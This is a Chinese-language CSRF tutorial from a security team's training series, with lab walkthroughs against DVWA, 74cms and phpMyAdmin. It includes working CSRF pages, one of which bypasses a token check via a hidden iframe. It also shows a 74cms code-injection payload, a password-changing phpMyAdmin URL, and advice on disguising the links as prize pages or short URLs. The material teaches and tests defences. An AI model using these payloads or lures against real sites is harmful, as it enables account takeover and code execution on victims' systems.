[紅日安全]Web安全Day3 - CSRF實戰***

本文由紅日安全成員: Once 編寫,若有不當,還望斧正。javascript

你們好,咱們是紅日安全-Web安全***小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供你們練習,咱們給這個項目起了一個名字叫 Web安全實戰 ,但願對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分爲PHP靶場、JAVA靶場、Python靶場基本上三種靶場所有涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),若是對你們有幫助請Star鼓勵咱們創做更好文章。若是你願意加入咱們,一塊兒完善這個項目,歡迎經過郵件形式(sec-redclub@qq.com)聯繫咱們。php

1.1 CSRF漏洞

1.1.1 CSRF漏洞簡介

CSRF(跨站請求僞造),是指利用受害者還沒有失效的身份認證信息( cookie、會話
等),誘騙其點擊惡意連接或者訪問包含***代碼的頁面,在受害人不知情的狀況下
以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操做
(如轉帳、改密等)。CSRF與XSS最大的區別就在於,CSRF並無盜取cookie而是直接利用html

1.1.2 CSRF漏洞分類

1.1.2.1 GET型

GET型CSRF漏洞,只須要構造URL,而後誘導受害者訪問利用。java

1.1.2.2 POST型

POST型CSRF漏洞,須要構造自動提交或點擊提交的表單,而後誘導受害者訪問或點擊利用。mysql

1.1.3 CSRF漏洞危害

未驗證 Referer或者使用 Token 致使用戶或者管理員可被 CSRF添加、修改、刪除等操做git

1.1.4 CSRF漏洞修復方案

一、添加隨機token值,並驗證。
二、驗證Referer
三、關鍵請求使用驗證碼功能github

1.2 CSRF漏洞利用

1.2.1 利用思路

尋找增刪改的地方,構造HTML,修改HTML表單中某些參數,使用瀏覽器打開該HTML,點擊提交表單後查看響應結果,看該操做是否成功執行。web

1.2.2 工具使用

1.2.2.1 burpsuite

使用burpsuite中Engagement tools的Generate CSRF PoC模塊
右擊要csrf***的url,選擇Generate CSRF POC模塊
20190831100128-3eceb174-cb93-1.png
而後就構造好了***腳本,value就是要修改爲的密碼
20190831100129-3f3bfcde-cb93-1.png
Test in browser通常用於本身測試用
20190831100129-3f9e5712-cb93-1.png
而後點擊copy
20190831100130-401d4a90-cb93-1.png
而後用代理burpsuite的瀏覽器打開
20190831100131-407a6fe0-cb93-1.png
點擊submit request便可修改爲功密碼
20190831100131-40d23946-cb93-1.png
Copy HTML 通常用於***其餘人,複製下代碼保存爲HTML文檔
能夠簡單修改箇中獎頁面,誘惑受害者點擊
20190831100132-4126996e-cb93-1.png
20190831100133-419a64d4-cb93-1.png
點擊領獎成功修改密碼
20190831100133-41fc8e8e-cb93-1.pngsql

1.2.2.2 CSRFTester

下載地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip
20190831100134-425ed5da-cb93-1.png
下載後點擊run.bat
20190831100135-42ae7a4a-cb93-1.png
正常打開,並監聽8008端口,須要把瀏覽器代理設置爲8008
20190831100135-4309547e-cb93-1.png
點擊Start Recording,開啓CSRFTester檢測工做,咱們這裏抓添加管理員的數據包
20190831100136-43c05c50-cb93-1.png
而後右擊刪除沒用的數據包
20190831100137-4412208a-cb93-1.png
點擊Generate HTML生成CSRF***腳本,咱們此次添加test1帳號
20190831100138-447ed9c8-cb93-1.png
打開此文件,成功添加帳號
20190831100138-44f33070-cb93-1.png數據庫

1.2.2 CSRF漏洞利用實例之DVWA

1.2.2.1 安裝步驟

下載地址:https://codeload.github.com/ethicalhack3r/DVWA/zip/master
漏洞環境:windows、phpstudy
先把config目錄下config.inc.php.dist文件名修改成config.inc.php,數據庫密碼修改成本身的。
20190831100139-453a0996-cb93-1.png
而後訪問dvwa,由於csrf漏洞不涉及紅色部分配置,直接建立便可
20190831100139-45903424-cb93-1.png
建立成功,帳號密碼是admin/password
20190831100140-45d8b19a-cb93-1.png
這裏能夠調相應的安全等級
20190831100141-46b88bbc-cb93-1.png

1.2.2.2 low等級

從代碼中能夠看出未做任何防護,直接更改密碼。

if( isset( $_GET[ 'Change' ] ) ) {
   // Get input
   $pass_new  = $_GET[ 'password_new' ];
   $pass_conf = $_GET[ 'password_conf' ];

   // Do the passwords match?
   if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

      // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user
      $html .= "<pre>Password Changed.</pre>";
   }
   else {
      // Issue with passwords matching
      $html .= "<pre>Passwords did not match.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

先使用burpsuite進行抓修改密碼的數據包
20190831100142-471e49a2-cb93-1.png
再使用Generate CSRF PoC進行構造poc
20190831100143-477ce14c-cb93-1.png
CSRF HTML中的代碼是構造好的
20190831100143-47eebc04-cb93-1.png
把構造好的代碼複製出來,複製到本身建立的HTML文件裏,value裏的值是要修改爲的密碼。
20190831100144-48466512-cb93-1.png
點擊submit request便可修改
20190831100145-48a07ba6-cb93-1.png
修改爲功
20190831100145-48f8ea8e-cb93-1.png

1.2.2.3 medium等級

從代碼中能夠看出先檢測referer是否包含主機名稱,再進行更改密碼。

if( isset( $_GET[ 'Change' ] ) ) {
   // Checks to see where the request came from
   if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
      // Get input
      $pass_new  = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];

      // Do the passwords match?
      if( $pass_new == $pass_conf ) {
         // They do!
         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
         $pass_new = md5( $pass_new );

         // Update the database
         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

         // Feedback for the user
         $html .= "<pre>Password Changed.</pre>";
      }
      else {
         // Issue with passwords matching
         $html .= "<pre>Passwords did not match.</pre>";
      }
   }
   else {
      // Didn't come from a trusted source
      $html .= "<pre>That request didn't look correct.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

先看下phpinfo中SERVER_NAME是什麼
20190831100146-4944e6dc-cb93-1.png
訪問poc,並抓包修改referer,添加localhost進行繞過
20190831100146-49969df6-cb93-1.png
修改爲功
20190831100131-40d23946-cb93-1.png

1.2.2.4 high等級

從代碼能夠看出增長了Anti-CSRF token機制,用戶每次訪問更改頁面時,服務器都會返回一個隨機token,向服務器發送請求時,並帶上隨機token,服務端接收的時候先對token進行檢查是否正確,纔會處理客戶端請求。

if( isset( $_GET[ 'Change' ] ) ) {
   // Check Anti-CSRF token
   checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

   // Get input
   $pass_new  = $_GET[ 'password_new' ];
   $pass_conf = $_GET[ 'password_conf' ];

   // Do the passwords match?
   if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

      // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user
      $html .= "<pre>Password Changed.</pre>";
   }
   else {
      // Issue with passwords matching
      $html .= "<pre>Passwords did not match.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token

generateSessionToken();

要繞過Anti-CSRF token機制,首先要獲取token,再使用這個token進行修改密碼。
而後構造如下代碼

<html>
<body>
<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }

</script>
<iframe src="http://192.168.1.108/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>
<body onload="attack()">

  <form method="GET" id="transfer" action="http://192.168.1.108/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="hongri">

    <input type="hidden" name="password_conf" value="hongri">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>
</html>

訪問後就當即修改密碼
20190831100147-4a4ff512-cb93-1.png

1.2.2.5 參考文章

https://www.freebuf.com/articles/web/118352.html

1.2.3 CSRF漏洞利用實例之騎士cms

1.2.3.1 安裝步驟

騎士cms下載地址:http://www.74cms.com/download/load/id/155.html
漏洞環境:windows、phpstudy
存在漏洞:POS型CSRF、代碼執行

下載解壓,訪問首頁
20190831100148-4aa8ae64-cb93-1.png
填寫信息
20190831100149-4b0486a8-cb93-1.png
安裝完成
20190831100149-4b55e444-cb93-1.png

1.2.3.2 利用過程

安裝好後,進入添加管理員界面進行抓包
20190831100150-4bb16210-cb93-1.png
20190831100150-4c024a4a-cb93-1.png
使用Generate CSRF PoC生成HTML代碼,並添加個中獎圖片,簡單假裝成中獎頁面。
20190831100151-4c450754-cb93-1.png20190831100151-4cb07570-cb93-1.png
還能夠用短域名繼續假裝
20190831100152-4cf8486e-cb93-1.png
而後誘導管理員打開並點擊,建立成功
20190831100152-4d4e0420-cb93-1.png
使用建立的帳號密碼登陸
20190831100153-4daf0f54-cb93-1.png
使用代碼執行漏洞執行phpinfo
poc:index.php?m=Admin&c=Tpl&a=set&tpl_dir=a'.${phpinfo()}.'
20190831100154-4e0436d2-cb93-1.png

1.2.3.3 參考文章

http://www.yqxiaojunjie.com/index.php/archives/341/

1.2.4 CSRF漏洞利用實例之phpMyAdmin

1.2.4.1 安裝步驟

此漏洞使用VulnSpy在線靶機
靶機地址:https://www.vulnspy.com/?u=pmasa-2017-9
存在漏洞:GET型CSRF
點擊開啓實驗
20190831100154-4e5f6804-cb93-1.png
能夠登陸也能夠不登陸
20190831100155-4eb84d5c-cb93-1.png
打開靶機地址,默認帳號密碼:root/toor,靶機只有十分鐘的時間
20190831100155-4f1a2536-cb93-1.png

1.2.4.2 利用過程

將當前用戶密碼更改成hongri,SQL命令

SET passsword=PASSWORD('hongri');

構造poc

http://f1496b741e86dce4b2f79f3e839f977d.vsplate.me:19830/pma/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27hongri%27)

咱們可使用短域名假裝
6128
修改爲功
20190831100156-4f73a5de-cb93-1.png

1.2.4.3 參考文章

https://www.vulnspy.com/?u=pmasa-2017-9

banner.jpg

相關文章
相關標籤/搜索